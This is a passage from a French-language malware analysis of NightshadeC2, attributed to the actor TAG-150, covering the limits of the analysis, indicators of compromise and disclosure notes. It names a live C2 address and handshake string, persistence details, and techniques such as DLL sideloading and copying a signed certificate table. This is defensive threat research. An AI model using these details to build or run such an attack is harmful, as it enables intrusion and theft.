- Sauvegarde d'image via GDI+ : aucune chaîne Gdip* (l'API C de GDI+, dont la résolution suivrait le même mécanisme que CreateDXGIFactory) trouvée, malgré l'import de gdiplus.dll/GdiplusStartup.
Avec les horodatages de compilation (2023-08-19 et 2024-07-02, très antérieurs à l'activité connue de TAG-150 depuis mars 2025, déjà noté au §7), cette absence de canal de sortie laisse une vraie possibilité : ces deux binaires ne seraient pas des composants écrits par TAG-150 et intégrés au protocole C2 du §6bis, mais des composants tiers ou plus anciens réutilisés. Leur rôle exact dans la campagne reste ouvert. Pour aller plus loin, il faudrait défaire toute l'obfuscation de flot de contrôle de la fonction principale, un travail comparable à celui mené sur StealC et AgentTesla ailleurs dans ce dépôt, qui sort du périmètre de cette analyse.
7. Portée et limites
- Le rôle réel du kit de sideloading dans la chaîne d'infection reste ouvert. Le déclenchement de
wmsgapi.dlla été tracé de bout en bout (§2) : le vraiDllMainne fait rien au-delà d'une masse de bruit pur (aucun appel, aucune branche, aucune lecture des écritures effectuées). Le sideloading est confirmé, maiswmsgapi.dllelle-même n'active aucune charge dans ce build. Deux hypothèses restent ouvertes, non départagées ici : soit ce kit est un artefact de leurre/bourrage sans rôle actif dans l'infection, soit il attend une mise à jour ultérieure du fichier par un stage non capturé dans ce lot d'échantillons. 04a1852a...et8940944e...: bootstrap DXGI confirmé réel, mais canal de sortie et rôle exact dans la chaîne non établis (voir §6ter pour le détail complet). Compilés respectivement le 2023-08-19 et le 2024-07-02, bien avant l'activité connue de TAG-150, un signal qui s'ajoute à l'absence de canal d'exfiltration confirmé pour suggérer des composants tiers ou réutilisés plutôt que développés spécifiquement pour cette campagne. Rattachés au même outillage TAG-150 par leurs métadonnées de version (§3), donc pas un faux positif de tag, mais leur intégration précise au protocole C2 documenté en §6bis reste ouverte.- L'adresse
85.208.84.115:7777n'a pas été vérifiée activement (pas de connexion établie, pas de vérification qu'elle répond encore ou qu'elle est toujours associée à TAG-150 au moment de la lecture de cette analyse) : c'est une lecture statique du code, pas une observation réseau en direct. - DenoRAT confirmé comme un stage distinct et antérieur, non capturé par le tag MalwareBazaar
NightshadeC2de cette analyse. Un rapport public (eSentire) documente la chaîne complète et séquentielleDinDoor -> DenoRAT (stager puis charge principale) -> NightshadeC2: DenoRAT (runtime Deno/JavaScript, livré via ClickFix puis un stage PowerShell qui installe Deno) fonctionne lui-même comme chargeur, recevant du C2 une tâcheexec-psqui télécharge un loader Python (install.pyc) et un conteneur NightshadeC2 chiffré, que ce loader Python déchiffre et injecte en mémoire par la même technique de chargement réflexif documentée au §5 de cette analyse. Les deux étages partagent la même infrastructure JWT de suivi de campagne (buildId: "0def066f14754be9"), mais des domaines C2 distincts (webstizkgao[.]compour DenoRAT,smallsmokik[.]compour le NightshadeC2 de ce rapport, différent de l'adresse IP brute85.208.84.115observée dans cette analyse : ça colle avec des campagnes/builds distincts du même acteur). Hashs cités par ce rapport (4ac3e1ec...Griffin20.ps1,ece42baa...DinDoor,7682e9ac...stager DenoRAT,3dffe05d...DenoRAT,c1e0a054...payload NightshadeC2) : aucun n'a été retrouvé sur MalwareBazaar au moment de cette analyse, non vérifiables directement. - L'origine du binaire "donneur" dont la table de certificat DeepL SE/Shenzhen Tuozhu a été copiée reste non identifiée, malgré une recherche. Extraction directe de l'empreinte SHA1 du certificat feuille DeepL SE (
34:BF:69:1C:9E:1D:00:18:F5:C5:9D:A0:26:61:04:0C:1E:AD:6B:E4) et de son numéro de série (77:bd:0e:05:b7:59:0b:b6:1d:47:61:53:1e:3f:75:ed) : recherche infructueuse sur VirusTotal, Hybrid Analysis, et la fonction de recherche par signature de MalwareBazaar (aucun résultat). Les données d'identité du certificat (numéro d'immatriculation allemandHRB 104617, adresse à Cologne) correspondent bien à la véritable DeepL SE d'après une vérification au registre du commerce allemand : la table de certificat copiée est donc authentique, pas fabriquée, ce qui exclut une génération synthétique et confirme qu'elle a été extraite d'un fichier réellement signé par DeepL SE à un moment donné, sans qu'il ait été possible d'identifier ce fichier précis.
8. Indicateurs de compromission
| SHA256 | Rôle |
|---|---|
3790dde12ccad0fb75e206fa4a749e5f5aff4c978127704baa1622936e0b7f2d |
Kit sideloading (consent/) |
974b61ab7618138ced49e72636b28f44937c442a41ed3300097ce2f4a5fe052f |
Kit sideloading (cons/) |
74d2910c5fe85f426552f80c363285ac1134ceb2675494e9afa91de074ebfaa9 |
wmsgapi.dll seule |
e7d7d8050ac4d2dfea9b02b789be1f73ea58557ade17823f6391ab419e0ca4d3 |
wmsgapi.dll |
b79878b2ff4c527d34dd57160ee47db59e908f2ca06dbda114d18a0451ea9c28 |
wmsgapi.dll |
050d061d5a8d1f2f7915362402f5f53223d364bc55530b5c23342a35c7188acf |
Loader Go, faux « Bootstrapper for DeepL », certificat DeepL SE falsifié |
df4425b425d0e26b5985f013a4d0a4dfa82cd4b107a0ac6e24d6a6555e133e09 |
Loader Go, certificat Shenzhen Tuozhu falsifié |
04a1852aed5734d8aaf97730a7231272f103605a4f83ea8413abe6f8169aee4c |
Bootstrap DXGI Desktop Duplication confirmé réel (§6ter), même outillage de métadonnées que le reste de la chaîne, rôle exact et canal de sortie non établis |
8940944e4abc600b283703876def0403160a5109abdbcb9e97c488dc3cc59b94 |
Idem |
e32b50f1b9ab8ccda64e4046780e002b350ece9c93ff4fa245fe0526ada14a1a |
Payload natif extrait/décodé depuis 050d061d... (NightshadeC2) |
90ff2daaa3b7748bf9a742da22766c321f4b1b0df9949c86e0e2ae10cda21238 |
Payload natif extrait/décodé depuis df4425b4... (NightshadeC2, quasi identique au précédent) |
C2 réseau : 85.208.84.115:7777 (TCP brut, poignée de main par chaîne magique RandOmKey322666B, voir §6bis), confirmé identique dans les deux payloads extraits.
Persistance : tâche planifiée Windows nommée JAVA_V3, déclenchée à la connexion et toutes les 2 minutes, niveau de privilège le plus élevé.
Artefacts disque : %LOCALAPPDATA%\...\JavaFilee6 ou ...\PythonFilee6 (journal du keylogger, chemin exact non entièrement résolu) ; keylog.txt (nom de fichier exfiltré, §6bis) ; %TEMP%\Vidosik.mp4 (enregistrement webcam/micro temporaire, §6bis).
Nom de fichier caractéristique : wmsgapi.dll (à côté d'un exécutable renommé cnt.exe/cns.exe). Description de version PE caractéristique : « Bootstrapper for DeepL » / DeepLSetup.exe associée à un certificat EV DeepL SE dont la signature Authenticode échoue en vérification (INVALID_DIGEST).
9. Divulgation et usage
Les échantillons étudiés sont publics (MalwareBazaar) et l'acteur est actif et documenté (TAG-150/GrayBravo). Rien ici ne révèle une vulnérabilité dans un logiciel légitime. La falsification de certificat du §4 n'exploite aucune faille cryptographique (RSA/EV). Elle profite du fait qu'on peut copier une table de certificat Authenticode sans que ça se voie, tant que personne ne pousse la vérification jusqu'au bout. D'après cette analyse, aucune clé privée de DeepL SE ni de Shenzhen Tuozhu Technology Co., Ltd. n'est compromise. Ces deux entités n'ont très probablement aucun lien avec TAG-150 : elles sont seulement la source du fichier dont les données de certificat ont été copiées.
10. Reproduire l'analyse
Le journal détaillé est dans runbook.md. Le script d'extraction et de décodage du payload embarqué et les outils Ghidra sont dans tools/ (decode_embedded_payload.py). La règle YARA : nightshadec2_tag150.yar. Le guide de détection et de remédiation : remediation.md.